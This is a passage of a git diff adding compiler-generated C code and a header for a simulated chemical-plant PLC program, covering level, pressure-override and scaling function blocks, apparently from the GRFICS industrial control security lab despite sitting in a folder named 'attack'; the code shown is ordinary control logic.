(REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT25_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB30_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT25_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // LEVEL_CONTROL_body__() + + + + + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->INPUT_UINT,0,retain) + __INIT_VAR(data__->OUTPUT_INT,0,retain) + __INIT_VAR(data__->DIV3_OUT,0,retain) + __INIT_VAR(data__->ABS8_OUT,0,retain) + __INIT_VAR(data__->UINT_TO_INT9_OUT,0,retain) +} + +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV3_OUT,,DIV__UINT__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->INPUT_UINT,), + (UINT)2)); + __SET_VAR(data__->,ABS8_OUT,,ABS__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->DIV3_OUT,))); + __SET_VAR(data__->,UINT_TO_INT9_OUT,,UINT_TO_INT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->ABS8_OUT,))); + __SET_VAR(data__->,OUTPUT_INT,,__GET_VAR(data__->UINT_TO_INT9_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_SIGNED_body__() + + + + + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + 